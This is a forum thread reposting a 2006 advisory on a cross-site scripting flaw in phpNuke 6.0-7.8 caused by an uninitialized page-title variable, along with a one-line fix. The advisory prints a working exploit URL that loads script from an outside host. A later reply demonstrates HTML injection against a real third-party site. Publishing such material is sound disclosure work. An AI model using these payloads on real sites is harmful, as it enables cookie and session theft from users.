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www.waraxe.us Forum Index -> PhpNuke -> [waraxe-2006-SA#044] - XSS in phpNuke 7.8 and older versions
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[waraxe-2006-SA#044] - XSS in phpNuke 7.8 and older versions
PostPosted: Sun Feb 12, 2006 11:07 pm Reply with quote
waraxe
Site admin
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




{================================================================================}
{ [waraxe-2006-SA#044] }
{================================================================================}
{ }
{ [ XSS in phpNuke 7.8 and older versions] }
{ }
{================================================================================}

Author: Janek Vind "waraxe"
Date: 13. February 2006
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-44.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpNuke 6.0 - 7.8

Homepage: http://phpnuke.org/


What is phpNuke ?

PHP-Nuke is a news automated system specially designed to be used in Intranets and Internet.
The Administrator has total control of his web site, registered users, and he will have in
the hand a powerful assembly of tools to maintain an active and 100% interactive web site
using databases.


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Potentially harmful cross-site scripting bug has been found in phpNuke software.
All versions from 6.0 to 7.8 are affected. Version 7.9 has not been tested against this bug,
but probably it is affected too. As in case of any XSS bugs, there can be many ways to
exploit this bug, for example stealing the cookies, containing username/hashed password.


Details
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

So what is the cause of this XSS case? As common in phpNuke world, problem lies in
uninitialized variable - "$pagetitle". This global variable is used for transfer page
title from module worker-code to "head()" function in "header.php" file.

Looking at source ("header.php" line ~ 28):

----------------[ from source code ]------------------

function head() {
global $slogan, $sitename, $banners, $nukeurl, $Version_Num, $artpage, $topic,
$hlpfile, $user, $hr, $theme, $cookie, $bgcolor1, $bgcolor2, $bgcolor3, $bgcolor4,
$textcolor1, $textcolor2, $forumpage, $adminpage, $userpage, $pagetitle;
include("includes/ipban.php");
$ThemeSel = get_theme();
include("themes/$ThemeSel/theme.php");
echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n";
echo "<html>\n";
echo "<head>\n";
echo "<title>$sitename $pagetitle</title>\n";
include("includes/meta.php");
include("includes/javascript.php");
----------------[ /from source code ]-----------------

So we see, that "$pagetitle" is directly rendered to html code. And after searching in
source code, we can see that it is not initialized by default.
Hmm, what about running some tests ...


Let's try "http://localhost/nuke78/?pagetitle=w00t></title></head><body>test"


and we see, that html tags injection is really possible.
Now comes the hard part - how to inject scripting code? Phpnuke is using some anti-XSS
filters agaist injection, so direct attack with "<script>" and other usual tags will not
succeed. Well, as always, there can be found ways to bypass filters and after playing some
time with various injection tricki, I found this possibility:

[------ real life exploit ------]

http://localhost/nuke78/?pagetitle=kala</title></head><script+src=http://www.waraxe.us/~kama/p0hh.js?

[----- /real life exploit ------]


This method was tested successfully with 3 browsers - IE 6, Firefox 1.5.0.1 and Opera 8.51 .
So it seems, that phpnuke anti-xss filter must be made to be more bulletproof ...

Bye all and have a nice day ;)



How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Write one code line to "mainfile.php":

$pagetitle = '';

This will initialize affected variable and patch the hole.


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greetz to LINUX, Heintz, y3dips, shai-tan, slimjim100, zer0-c00l and
all other active members from waraxe forum !

Raido Kerna - tervitused!


Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DX expeditions database - http://www.dxdb.com/

HDD data recovery - http://www.hdd911.com/


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------


Last edited by waraxe on Fri Apr 13, 2007 4:21 pm; edited 1 time in total
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PostPosted: Tue Feb 14, 2006 3:40 pm Reply with quote
waraxe
Site admin
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




I just got email from Paul Laudanski, where he claims, that this bug is allready fixed and will not work at all and so on. Well, this is bullcrap.
Because real world is filled with flawed phpnuke installations and there is little proof of conception:

http://www.nukecops.com/?pagetitle=</title></head>test+test+test<img+width=500+height=500+src=themes/fisubsilversh/forums/images/logo.jpg?



So if nukecops are affected, what else must be shown to proof my point of view? Wink
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PostPosted: Wed Feb 15, 2006 1:33 am Reply with quote
shai-tan
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Joined: Feb 22, 2005
Posts: 477




Greetings man.

Always come back with something new it seems? Razz

Pretty funny that screenshot for sure.

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
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PostPosted: Thu Feb 16, 2006 12:35 pm Reply with quote
IGNOR3
Regular user
Regular user
 
Joined: Nov 05, 2005
Posts: 6




Thanx... but what can we do with this bug?
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PostPosted: Fri Feb 17, 2006 6:52 am Reply with quote
shai-tan
Valuable expert
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Joined: Feb 22, 2005
Posts: 477




Try working it out for yourself. In his proof he has injected html into the link. Think about that Wink

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
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[waraxe-2006-SA#044] - XSS in phpNuke 7.8 and older versions
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